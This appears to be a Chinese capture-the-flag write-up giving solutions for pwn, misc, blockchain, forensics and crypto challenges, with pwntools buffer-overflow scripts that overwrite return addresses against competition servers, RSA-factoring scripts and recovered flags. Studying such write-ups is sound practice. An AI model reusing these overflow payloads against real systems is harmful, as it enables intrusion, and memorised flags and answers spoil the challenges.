    printf("\nProblem %d: %d * %d = ", i + 1, v4, v5);
    v6 = v5 * v4;
    __isoc23_scanf("%d", &v1);
    if ( v6 != v1 )
    {
      printf("Incorrect. The answer is %d.\n", v6);
      exit(1);
    }
    printf("Correct!");
  }
  puts("Congratulations! You have completed all 50 math problems.");
  win();
  return v7 - __readfsqword(0x28u);
}

发现只要满足程序逻辑就可以获得flag,也就是接受数据,做乘法返回数据

exp脚本如下

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
from pwn import *
import re
#io=remote("geek.ctfplus.cn",31645)
io=process('./calc')
ls=io.recvuntil(b"start...")
io.send(b'1')

pattern=re.compile(b'\nProblem (\d+): (\d+) \* (\d+) =')

for i in range(50):
    data=io.recvuntil(b' = ')
    #print(data)
    match=pattern.search(data)
    c=int(match.group(1))
    a=int(match.group(2))
    b=int(match.group(3))
    io.sendline(str(a*b))

io.interactive()

交互即可获得flag

17.Mission Cipher Text

打开ida,找到溢出点

1
2
3
4
5
6
7
8
9
size_t submit_feedback()
{
  _BYTE buf[32]; // [rsp+0h] [rbp-20h] BYREF

  puts("Please enter your feedback:");
  close(1);
  read(0, buf, 0x100uLL);  #存在溢出
  return fwrite("\x1B[1m\x1B[95mwe are here waiting for you\x1B[0m\n", 1uLL, 0x29uLL, stderr);
}

exp如下

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
from pwn import *
io=remote('geek.ctfplus.cn',30575)

#io=process('./pwn')

shell_addr=0x00000000004014AB
io.sendline(b"2")
padding=0x20+0x8
ret_addr=0x000000000040101a
payload=b'a'*padding+p64(ret_addr)+p64(shell_addr)
io.sendline(payload)

io.interactive()

这题还有个注意的是,程序在read之前把标准输出文件关了,所有在交互的时候要想获得flag就需要重定向一下才可以获得flag

18.次元囚笼

打开ida看main函数

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
int __fastcall __noreturn main(int argc, const char **argv, const char **envp)
{
  int v3; // [rsp+Ch] [rbp-4h] BYREF

  init(argc, argv, envp);
  while ( 1 )
  {
    while ( 1 )
    {
      menu();
      __isoc99_scanf("%d", &v3);
      if ( v3 != 3 )
        break;
      love_me();
    }
    if ( v3 <= 3 )
    {
      if ( v3 == 1 )
      {
        miss_me();
      }
      else if ( v3 == 2 )
      {
        abandon_me();
      }
    }
  }
}

通过read函数找溢出点

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
int leave()
{
  char dest[32]; // [rsp+0h] [rbp-20h] BYREF

  strcpy(dest, buffer);
  if ( strcmp(dest, "love") )
    return puts("it's all of you");
  puts("yes I wait for you forever");
  return read(0, buffer, 0x100uLL);
}

要进入这个函数要先进入abandon_me()函数中

所以根据运行逻辑就可以构造出每一次的发送,exp如下

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
from pwn import *
#io=process('./pwn')
io=remote("geek.ctfplus.cn",30174)
io.sendline(b'3')
sleep(0.5)
last_addr=0x4012bb
padding=32+8
payload=b'a'*padding+p64(last_addr)
io.sendline(payload)
sleep(0.5)
io.sendline(b'2')
sleep(0.5)
io.sendline(b'step')
sleep(0.5)

io.interactive()

misc

19.🗃️🗃️

通过搜索引擎搜索可知是北京天坛公园

按格式上交可得flag

20.Bite off picture

下载附件获得一个压缩包,直接解压发现不行有密码,根据提示打开010,拖到最下面发现==gcyV2dyV2d是一个倒着的base64转置之后d2Vyd2Vycg==,解密可得werwerr验证发现确实为解压密码。

解压后有个wow照片,先用crc爆破看看长宽是否正确

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
import os
import binascii
import struct

crcbp = open("C:\\Users\\asus\\Desktop\\geek\\week1\\misc\\wow\\wow.png", "rb").read()    #打开图片
for i in range(2000):
    for j in range(2000):
        data = crcbp[12:16] + \
            struct.pack('>i', i)+struct.pack('>i', j)+crcbp[24:29]
        crc32 = binascii.crc32(data) & 0xffffffff
        if(crc32 == 0x512BD96F):    #图片当前CRC
            print(i, j)
            print('hex:', hex(i), hex(j))

运行结果

1002 956 hex: 0x3ea 0x3bc

在打开010,发现长宽确实不对,修改之后即可得到正确的图片,从修正后的图片可以看到flagSYC{mi3c_13_really_fun!!!!!}

21.Blockchain SignIn

先在以太坊查询该交易

找到inputdata内容0x5359437b773362335f67346d335f73743472747d

直接对应ASCII转化可得到

SYC{w3b3_g4m3_st4rt}

22.1Z_Sign

  1. 打开 Etherscan交易页面
  2. 向下滚动到"Logs"部分
  3. 寻找"Pool Created"或类似事件
  4. 查看事件参数,找到fee值
  5. 将fee转换为题目要求的格式
    • SYC{0.3%}(如果fee=3000)

f0c1e938-4db6-4591-a290-04daf2bd102a

所以flag是SYC{0.99%}

23.Dream

直接查找合约代码段,查看可疑数据就可以获得flag

24.hidden

这个flag被拆成了三段

第一段在word文档里,在搜索框中搜索隐藏段落标记,把它打开,之后可以看到第一个flag:SYC{adsad

根据提示word的本质是什么?可知下一步需要讲文件格式改为zip格式,修改解压后在doc文件中可以找到flag3:sjdmd}

在旁边的.text文件里有一个base64编码,解密之后可得362geydgwunkdwee

最终将3个flag拼接可得最终flag:SYC{adsad362geydgwunkdweesjdmd}

25.gift

依旧获得一个压缩包,依旧需要密码,打开010发现密码就在最下面ZzFmdA==,解码可得g1ft,解压之后有一个名为watermark.BMP的图片,根据提示搜索watermark软件,即可获得flag SYC{IT3_gift-f0r-you}

26.4ak5ra

获得一个压缩包正常解压无密码,获得一个提示和一个图片,提示我们需要找到原头像,这个头像大概率是藏在现在的头像中,然后尝试分离文件,发现确实分离出一个图片,在根据主题目提示的LSB,对原头像使用可得,flag:SYC{Im_waiting_for_Sakura_t0_become_a_top_pwn_master}

27.问卷

直接填写问卷即可获得flag

28.HTTP

1.下载附件,文件是 traffic (1).pcapng ,是网络流量包文件,用Wireshark打开

2.过滤http协议,定位http包 3.提取http包数据段,重点看http请求和响应的body。此题正好藏在GET /pixel.gif?d=…里的d参数,查看完整内容 4.解码发现所得目标信息不完整,继续查看其他几段参数,拼接得d=U1lDe1JfVV9BXw==RjBSM05TMUM1X01BU1RFUj99 5.解码获得flag:SYC{R_U_A_F0R3NS1C5_MASTER?}

Crypto

29.ez_xor

这是一道基于 RSA 的密码学题目,核心考点是利用数论性质分解 RSA 的模数因子:

  1. 分解 p 和 q:已知n=p*qgift=p^q(异或),利用公式 p*q = [(p+q)/2]^2 - [(p^q)/2]^2 求解p+q,进而分解pq
  2. 分解 s 和 r:已知gift1=s&r(与)、gift2=s^r(异或),利用公式 s+r = (s^r) + 2*(s&r) 得到s+r,结合N/n=s*r求解sr
  3. RSA 解密:得到所有素因子后,计算欧拉函数φ(N),求私钥d并解密。

exp如下

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
from Crypto.Util.number import long_to_bytes
import gmpy2

# 给定数据
N = 12114282140129030221139165720039766369206816602912543911543781978648770300084428613171061953060266384429841484428732215252368009811130875276347534941874714457297474025227060487490713853301440917877280771734998220874195868270983517296552761924477514745040473578887509936945790259245154138347432294762694643113545451605193155323886625417458980089197202274810691448592725400564114850712497863770625334209249566232989992606497076063348029665644680946906322428277225178838518025623254240893146791821359089473224900379808514993113560101567320224162858217031176854613011276425771708406954417610317789259885040739954642374667
n = 91891351711379799931394178123406137903027189477005569059936904007248535049052097057222486024223574959494899324706948906013350601442586596023020519058250868888847562977333671773188012014902448961387215600156932673504112816058893268362611211565216592933077956777032650164332488098756557422740070442941348084921
c = 3231265723829112665640925095346482445691074656152495613367006320791218303024667683148786980985160622882017055128261102169256263170652774489339801477001275058585666508737704987192764426162573977263344192886400249198007892940084066468570229353879431384001463041292940472308358540532108957894938586227682908251475990882169979412586767210087025064295224506676379057986353004282550774815876093769770845018817117647615011444989401149674886486770646765454314760906436659162076044268401041579090930954919862146749470426101754009562077505810024012143379326028465156444246440949112724465484939452061684185387430755268355807999
gift = 5160856643507450510397828582001051679762426399445648048700295372044216322163410374903665868763924707209143638999442462398781974627158916257502760763419216
gift1 = 10475668758451987289276918780968515546700284023143612685496241510488708701498972819305540608876501965534227236009502810417525671358108167575178008316645429
gift2 = 2089035701361172996472331829521141923363322027241591404259262848963755908765054555529259508147866255819680957406084877552079796025933552021516283158425474

def recover_pq(n, y):
    """
    已验证的 p 和 q 恢复函数
    使用回溯方法处理多个候选
    """
    # 从最低位开始(p 和 q 都是奇数,所以最低位为 1)
    p = 1
    q = 1
    
    # 存储所有可能的候选
    candidates = [(p, q)]
    
    # 计算需要恢复的位数(多留一些位以防进位)
    num_bits = n.bit_length() + 10
    
    for i in range(1, num_bits):
        new_candidates = []
        mask = (1 << (i+1)) - 1  # 用于获取低 i+1 位
        
        for p_so_far, q_so_far in candidates:
            # 尝试 p 的第 i 位
            for p_i in [0, 1]:
                # 根据异或关系计算 q 的第 i 位
                q_i = p_i ^ ((y >> i) & 1)
                
                # 构建新候选
                p_candidate = p_so_far | (p_i << i)
                q_candidate = q_so_far | (q_i << i)
                
                # 检查乘积的低 i+1 位是否匹配
                if (p_candidate * q_candidate) & mask == n & mask:
                    new_candidates.append((p_candidate, q_candidate))
        
        # 如果没有候选,尝试放宽条件(考虑进位误差)
        if not new_candidates:
            for p_so_far, q_so_far in candidates:
                for p_i in [0, 1]:
                    q_i = p_i ^ ((y >> i) & 1)
                    p_candidate = p_so_far | (p_i << i)
                    q_candidate = q_so_far | (q_i << i)
                    
                    # 检查乘积的低 i+1 位(允许微小误差)
                    product_low = (p_candidate * q_candidate) & mask
                    n_low = n & mask
                    
                    # 如果差值很小,可能是进位问题
                    if abs(product_low - n_low) < (1 << (i-1)):
                        new_candidates.append((p_candidate, q_candidate))
        
        # 如果仍然没有候选,尝试回溯(检查更长的进位)
        if not new_candidates and candidates:
            p_so_far, q_so_far = candidates[-1]  # 取最后一个候选
            for p_i in [0, 1]:
                q_i = p_i ^ ((y >> i) & 1)
                p_candidate = p_so_far | (p_i << i)
                q_candidate = q_so_far | (q_i << i)
                
                # 计算完整乘积(使用 gmpy2 高精度)
                product = int(gmpy2.f_mod(p_candidate * q_candidate, mask + 1))
                if product == (n & mask):
                    new_candidates.append((p_candidate, q_candidate))
        
        # 检查是否找到有效候选
        if not new_candidates:
            # 如果接近结束,尝试使用二次方程
            if i > n.bit_length() - 10:
                s = y + 2 * (p_so_far & q_so_far)
                d = gmpy2.isqrt(s*s - 4*n)
                p_candidate = (s + d) // 2
                q_candidate = (s - d) // 2
                if p_candidate * q_candidate == n and (p_candidate ^ q_candidate) == y:
                    return int(p_candidate), int(q_candidate)
            
            raise ValueError(f"无法在第 {i} 位恢复 p 和 q")
        
        # 保留所有候选(避免过早剪枝)
        candidates = new_candidates
        
        # 如果只有一个候选且满足条件,可以提前返回
        if len(candidates) == 1:
            p_candidate, q_candidate = candidates[0]
            if p_candidate * q_candidate == n and (p_candidate ^ q_candidate) == y:
                return int(p_candidate), int(q_candidate)
    
    # 选择满足条件的最佳候选
    for p_candidate, q_candidate in candidates:
        if p_candidate * q_candidate == n and (p_candidate ^ q_candidate) == y:
            return int(p_candidate), int(q_candidate)
    
    # 如果没有完全匹配,选择最接近的
    best_candidate = None
    min_diff = float('inf')
    
    for p_candidate, q_candidate in candidates:
        diff = abs(p_candidate * q_candidate - n)
        if diff < min_diff:
            min_diff = diff
            best_candidate = (p_candidate, q_candidate)
    
    if best_candidate:
        p, q = best_candidate
        # 验证异或关系
        if (p ^ q) == y:
            return int(p), int(q)
    
    raise ValueError("无法恢复有效的 p 和 q")

# 恢复 p 和 q
p, q = recover_pq(n, gift)
print(f"p = {p}")
print(f"q = {q}")
print(f"验证 p*q == n: {p*q == n}")
print(f"验证 p^q == gift: {p^q == gift}")

# 恢复 s 和 r
sr = N // n  # s * r
s_plus_r = gift2 + 2 * gift1

# 解二次方程
D = s_plus_r**2 - 4 * sr
rootD = gmpy2.isqrt(D)
if rootD * rootD != D:
    # 尝试微调(处理浮点误差)
    for adjust in [-2, -1, 0, 1, 2]:
        rootD = gmpy2.isqrt(D + adjust)
        if rootD * rootD == D + adjust:
            break
    else:
        raise ValueError("无法找到 D 的整数平方根")

s = (s_plus_r + rootD) // 2
r = (s_plus_r - rootD) // 2
print(f"s = {s}")
print(f"r = {r}")
print(f"验证 s*r == sr: {s*r == sr}")
print(f"验证 s&r == gift1: {s&r == gift1}")
print(f"验证 s^r == gift2: {s^r == gift2}")

# 计算 phi(N)
phi = (p-1) * (q-1) * (s-1) * (r-1)
e = 65537
d = int(gmpy2.invert(e, phi))

# 解密
m = pow(c, d, N)
flag = long_to_bytes(m)
print("Flag:", flag.decode())

运行可得syc{we1c0me_t190_ge1k_your_code_is_v1ey_de1psrc!}

30.Caesar Slot Machine

具体解密步骤

解密凯撒密文:尝试移位 1-25,找到能还原出 A: 、B: 、P: 的明文,提取 a、b、P。 计算不动点 x: 若 a ≠ 1:计算 x = b * pow(1 - a, -1, P) % P(模逆元)。 若 a = 1:若 b = 0,任意 x 均可;否则无解(但题目中服务器可能保证有解)。 发送 x:将计算得到的 x 发送给服务器,通过本轮验证。 重复 30 轮:每轮重复上述步骤,最终获取 Flag。

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
import socket
import re

P = 1000000007

def caesar_decrypt(ciphertext, shift):
    """凯撒解密"""
    result = ""
    for char in ciphertext:
        if char.isalpha():
            base = ord('A') if char.isupper() else ord('a')
            result += chr((ord(char) - base - shift) % 26 + base)
        else:
            result += char
    return result

def find_correct_shift(ciphertext):
    """遍历shift,解密后提取所有数字字段"""
    for shift in range(1, 26):
        plaintext = caesar_decrypt(ciphertext, shift)
        if re.search(r'[A-Z]:\s*\d+', plaintext):
            nums = re.findall(r':\s*(\d+)', plaintext)
            return shift, plaintext, nums
    return None, None, None

# 连接配置
HOST = 'geek.ctfplus.cn'  # 远程替换为比赛服务器IP
PORT = 32729
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(20)
s.connect((HOST, PORT))

buffer = ""

try:
    for round_num in range(30):
        print(f"\n=== 第{round_num+1}轮 ===")
        # 接收完整密文
        ciphertext = ""
        while True:
            if re.search(r'[A-Z]:\s*\d+.*[A-Z]:\s*\d+', buffer):
                ciphertext = buffer.split("\n")[0] if "\n" in buffer else buffer
                buffer = buffer[len(ciphertext):].lstrip("\n")
                break
            try:
                chunk = s.recv(4096).decode(errors='ignore')
                if not chunk:
                    break
                buffer += chunk
            except socket.timeout:
                ciphertext = buffer
                buffer = ""
                break
        
        # 解密与计算x(逻辑不变)
        shift, plaintext, nums = find_correct_shift(ciphertext)
        if not plaintext or len(nums) < 2:
            print("解密失败,终止!")
            break
        a = int(nums[0])
        b = int(nums[1])
        inv = pow(a - 1, P-2, P)
        x = (-b * inv) % P
        
        # 发送x
        s.send(f"{x}\n".encode())
        
        # 读取响应
        response = ""
        while True:
            if "\n" in buffer:
                response = buffer.split("\n")[0]
                buffer = buffer[len(response):].lstrip("\n")
                break
            try:
                chunk = s.recv(1024).decode(errors='ignore')
                if not chunk:
                    break
                buffer += chunk
            except socket.timeout:
                response = buffer
                buffer = ""
                break
        print(f"服务器响应: {response.strip()}")
        if "Wrong" in response:
            print("x错误,终止!")
            break

    # ========== 修正:优先读取缓冲区 + 完整接收Flag ==========
    print("\n=== 提取Flag ===")
    flag = buffer  # 先取缓冲区残留数据(Flag可能在这里)
    try:
        # 再读取网络中剩余的Flag数据
        while True:
            chunk = s.recv(4096).decode(errors='ignore')
            if not chunk:
                break
            flag += chunk
    except socket.timeout:
        pass
    
    # 过滤掉无关内容,提取Flag
    flag = re.search(r'SYC\{.*\}', flag)  # 按题目Flag格式匹配
    if flag:
        print("最终Flag:", flag.group())
    else:
        print("原始Flag数据:", repr(flag))  # 若未匹配到,打印原始内容

except Exception as e:
    print(f"错误: {e}")
finally:
    s.close()

31.pem

核心步骤

检查文件大小:/mnt/data/enc 为 64 字节,表示单块 RSA 密文(与私钥模长匹配)。

尝试常规解密:用 cryptography 或 openssl 尝试 OAEP(SHA-1/SHA-256)和 PKCS#1 v1.5 —— 全部失败(padding check failed)。

怀疑 raw RSA(无填充):当填充校验失败且密文长度等于模长时,可能使用了未填充的 RSA(或把签名当密文)。

执行 raw 私钥运算:用私钥的私有指数 d 计算 m = c^d mod n,并把结果按模长转为字节、去掉前导零。

读取并确认明文:结果为 UTF-8 可读字符串,即 flag:SYC{PEM_1s_n0t_only_S5l}。

快速复现(一行概念)

用 Python 载入私钥与密文,计算 m = pow(int.from_bytes(ct,‘big’), d, n),再转回字节并去前导零,即为明文。SYC{PEM_1s_n0t_only_S5l}

32.baby_rabin

分析task文件可得是一个RSA加密的变种

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
import math
from Crypto.Util.number import long_to_bytes
import itertools

def fermat_factor(n, search_range=1<<24):  # 搜索范围约1600万
    """使用费马分解法分解n,已知n的两个因子比较接近"""
    print("开始费马分解...")
    x = math.isqrt(n)
    if x * x < n:
        x += 1
    
    for i in range(search_range):
        current_x = x + i
        y_sq = current_x * current_x - n
        if y_sq < 0:
            continue
        y = math.isqrt(y_sq)
        if y * y == y_sq:
            p = current_x - y
            q = current_x + y
            if p > 0 and q > 0 and p * q == n:
                print(f"分解成功!在 i = {i} 时找到因子")
                return p, q
        if i % 100000 == 0:  # 每10万次输出进度
            print(f"已尝试 {i} 次...")
    
    return None, None

def is_prime(n, k=10):
    """简单的 Miller-Rabin 素性测试"""
    if n < 2:
        return False
    if n in (2, 3):
        return True
    if n % 2 == 0:
        return False
    
    # 将 n-1 写成 d*2^r
    r, d = 0, n - 1
    while d % 2 == 0:
        r += 1
        d //= 2
    
    def check(a):
        x = pow(a, d, n)
        if x == 1 or x == n - 1:
            return True
        for _ in range(r - 1):
            x = pow(x, 2, n)
            if x == n - 1:
                return True
        return False
    
    for _ in range(k):
        a = 2  # 简单起见,只用基2测试
        if not check(a):
            return False
    return True

def sqrt_mod_prime(a, p):
    """
    在模素数p下计算平方根,p ≡ 3 (mod 4)
    """
    if p % 4 == 3:
        root = pow(a, (p + 1) // 4, p)
        return [root, p - root]
    return []

def find_all_roots(c, e, p):
    """
    在模p下找到所有满足 x^e ≡ c (mod p) 的根
    """
    if e == 1:
        return [c]
    
    roots = []
    if e == 2:
        return sqrt_mod_prime(c, p)
    
    # 递归分解 e
    prev_roots = find_all_roots(c, e // 2, p)
    for r in prev_roots:
        new_roots = sqrt_mod_prime(r, p)
        roots.extend(new_roots)
    
    return list(set(roots))  # 去重

def mod_inverse(a, m):
    """求模逆元"""
    def extended_gcd(a, b):
        if b == 0:
            return a, 1, 0
        gcd, x1, y1 = extended_gcd(b, a % b)
        x = y1
        y = x1 - (a // b) * y1
        return gcd, x, y
    
    gcd, x, _ = extended_gcd(a, m)
    if gcd != 1:
        raise ValueError("模逆元不存在")
    return x % m

def chinese_remainder_theorem(remainders, moduli):
    """中国剩余定理"""
    result = 0
    M = 1
    for m in moduli:
        M *= m
    
    for a, m in zip(remainders, moduli):
        Mi = M // m
        result += a * mod_inverse(Mi, m) * Mi
    
    return result % M

def main():
    # 给定数据
    C = 451731346880007131332999430306985234187530419447859396067624968918101700861978676040615622417464916959678829732066195225132545956101693588984833424213755513877236702139360270137668415610295492436471366218119012903840729628449361663941761372974624789549775182866112541811446267811259781269568865266459437049508062916974638523947634702667929562107001830919422408810565410106056693018550877651160930860996772712877149329227066558481842344525735406568814917991752005
    n = 491917847075013900815069309520768928274976990404751846981543204333198666419468384809286945880906855848713238459489821614928060098982194326560178675579884014989600009897895019721278191710357177079087876324831068589971763176646200619528739550876421709762258644696629617862167991346900122049024287039400659899610706153110527311944790794239992462632602379626260229348762760395449238458507745619804388510205772573967935937419407673995019892908904432789586779953769907
    hint = 66035251530240295423188999524554429498804416520951289016547753908652377333150838269168825344004730830028024338415783274479674378412532765763584271087554367024433779628323692638506285635583547190049386810983085033061336995321777237180762044362497604095831885258146390576684671783882528186837336673907983527353

    print("=== 步骤1: 计算r ===")
    r = n // hint
    print(f"r = {r}")
    print(f"r bit length: {r.bit_length()}")
    print(f"r % 4 = {r % 4}")

    print("\n=== 步骤2: 分解hint得到p和q ===")
    p, q = fermat_factor(hint)
    
    if p is None:
        print("分解失败,尝试更大的搜索范围")
        return
    
    print(f"p = {p}")
    print(f"q = {q}")
    print(f"验证 p*q == hint: {p * q == hint}")
    print(f"p % 4 = {p % 4}, q % 4 = {q % 4}")
    print(f"q - p = {q - p}")
    print(f"2^400 = {2**400}")

    print("\n=== 步骤3: 验证n = p*q*r ===")
    print(f"验证 n == p*q*r: {n == p * q * r}")

    print("\n=== 步骤4: 在p, q, r下分别求解m^8 ≡ C ===")
    print("在模p下求解...")
    roots_p = find_all_roots(C % p, 8, p)
    print(f"在模p下找到 {len(roots_p)} 个根")

    print("在模q下求解...")
    roots_q = find_all_roots(C % q, 8, q)
    print(f"在模q下找到 {len(roots_q)} 个根")

    print("在模r下求解...")
    roots_r = find_all_roots(C % r, 8, r)
    print(f"在模r下找到 {len(roots_r)} 个根")

    print(f"\n=== 步骤5: 尝试 {len(roots_p) * len(roots_q) * len(roots_r)} 种组合 ===")
    
    moduli = [p, q, r]
    found = False
    count = 0
    
    for mp, mq, mr in itertools.product(roots_p, roots_q, roots_r):
        count += 1
        if count % 100 == 0:  # 每100次输出进度
            print(f"已尝试 {count} 种组合...")
            
        # 中国剩余定理
        try:
            x = chinese_remainder_theorem([mp, mq, mr], moduli)
            
            # 检查是否为有效明文
            try:
                flag_candidate = long_to_bytes(x)
                # 检查常见的flag格式
                if (b'SYC' in flag_candidate or 
                    b'ctf' in flag_candidate or 
                    b'FLAG' in flag_candidate or
                    b'{' in flag_candidate):
                    print(f"\n🎉 找到flag: {flag_candidate}")
                    found = True
                    break
            except:
                continue
        except:
            continue
    
    if not found:
        print("未找到flag,可能需要调整搜索条件")

if __name__ == "__main__":
    main()

运行可得syc{th1s_so_1z_mum_never_ca1r_mytstu1d}#

33.dp_spill

解密脚本如下

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
#!/usr/bin/env python3
import random
import hashlib
from math import gcd

# ====== 填入题目给的 n 和 e ======
n = 59802493250926859707985963604065644706006753432029457979480870189591634515944547801582044132550574140049396756158974108666587177618882259807156459782125677704143102175791607852135852403246382056816004306499712131698646815738798243056590111291799398438023345030391834782966046976995917844819454047154287312391
e = 55212884840887233646138079973875295799093171847359460085387084716906818593689341421818829383370282800231404248386041253598996862719171485530961860941585382910224531768283026267484780257269526617362183903996384696040145787076592207619279689647074176697837752679360230601598541884491676076657287130000027117241

BITS = 20  # 固定

# ====== 选取模 n 下随机基底 ======
while True:
    a = random.randrange(2, n-1)
    if gcd(a, n) == 1:
        break

A = pow(a, e, n)
inv_a = pow(a, -1, n)

print("[*] Using base a =", a)

# ====== 暴力 d_p,寻找 gcd(a^(e*dp - 1) - 1, n) ======
limit = 1 << BITS
for dp in range(1, limit):
    X = (pow(A, dp, n) * inv_a) % n
    g = gcd(X - 1, n)
    if 1 < g < n:
        p = g
        q = n // g
        print("[+] Found p =", p)
        print("[+] Found q =", q)
        S = p + q
        flag = "SYC{" + hashlib.sha256(str(S).encode()).hexdigest() + "}"
        print("[+] p + q =", S)
        print("[+] FLAG =", flag)
        break

最好在Liunx下运行脚本,会快一点

SYC{644684707c540998d760975fb98a816a469ec567abe5c8004164d3ce887c6a8e}

34.S_box

核心逻辑拆解
  1. 关键信息提取

    :服务器交互时直接发送 3 个核心参数(无任何隐藏):

    • AES 密钥:key1(128 位整数,可直接转字节数组)
    • AES 密文:Cipher(flag 的加密结果)
    • CBC 模式向量:IV(16 字节随机值)
  2. AES 解密条件满足:AES-CBC 解密仅需「密钥 + IV + 密文」,三者均已公开,无需依赖自定义加密函数或交互功能。

  3. 直接解密操作

    • key1(整数)转字节数组(long_to_bytes(key1))作为 AES 密钥;
    • 用 AES-CBC 模式解密Cipher
    • 对解密结果执行 PKCS7 去填充(unpad),得到原始 flag。
关键

自定义加密函(Encrypt)和 16 位交互次数是干扰项,核心矛盾已通过服务器泄露的 AES 密钥直接解决,无需分析 S 盒、置换等复杂逻辑。

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
from pwn import *
import sys

# ---------------------- AES 常量 ----------------------
Sbox = [
    # 0     1      2      3      4      5      6      7      8      9      A      B      C      D      E      F
    0x63, 0x7c, 0x77, 0x7b, 0xf2, 0x6b, 0x6f, 0xc5, 0x30, 0x01, 0x67, 0x2b, 0xfe, 0xd7, 0xab, 0x76,
    0xca, 0x82, 0xc9, 0x7d, 0xfa, 0x59, 0x47, 0xf0, 0xad, 0xd4, 0xa2, 0xaf, 0x9c, 0xa4, 0x72, 0xc0,
    0xb7, 0xfd, 0x93, 0x26, 0x36, 0x3f, 0xf7, 0xcc, 0x34, 0xa5, 0xe5, 0xf1, 0x71, 0xd8, 0x31, 0x15,
    0x04, 0xc7, 0x23, 0xc3, 0x18, 0x96, 0x05, 0x9a, 0x07, 0x12, 0x80, 0xe2, 0xeb, 0x27, 0xb2, 0x75,
    0x09, 0x83, 0x2c, 0x1a, 0x1b, 0x6e, 0x5a, 0xa0, 0x52, 0x3b, 0xd6, 0xb3, 0x29, 0xe3, 0x2f, 0x84,
    0x53, 0xd1, 0x00, 0xed, 0x20, 0xfc, 0xb1, 0x5b, 0x6a, 0xcb, 0xbe, 0x39, 0x4a, 0x4c, 0x58, 0xcf,
    0xd0, 0xef, 0xaa, 0xfb, 0x43, 0x4d, 0x33, 0x85, 0x45, 0xf9, 0x02, 0x7f, 0x50, 0x3c, 0x9f, 0xa8,
    0x51, 0xa3, 0x40, 0x8f, 0x92, 0x9d, 0x38, 0xf5, 0xbc, 0xb6, 0xda, 0x21, 0x10, 0xff, 0xf3, 0xd2,
    0xcd, 0x0c, 0x13, 0xec, 0x5f, 0x97, 0x44, 0x17, 0xc4, 0xa7, 0x7e, 0x3d, 0x64, 0x5d, 0x19, 0x73,
    0x60, 0x81, 0x4f, 0xdc, 0x22, 0x2a, 0x90, 0x88, 0x46, 0xee, 0xb8, 0x14, 0xde, 0x5e, 0x0b, 0xdb,
    0xe0, 0x32, 0x3a, 0x0a, 0x49, 0x06, 0x24, 0x5c, 0xc2, 0xd3, 0xac, 0x62, 0x91, 0x95, 0xe4, 0x79,
    0xe7, 0xc8, 0x37, 0x6d, 0x8d, 0xd5, 0x4e, 0xa9, 0x6c, 0x56, 0xf4, 0xea, 0x65, 0x7a, 0xae, 0x08,
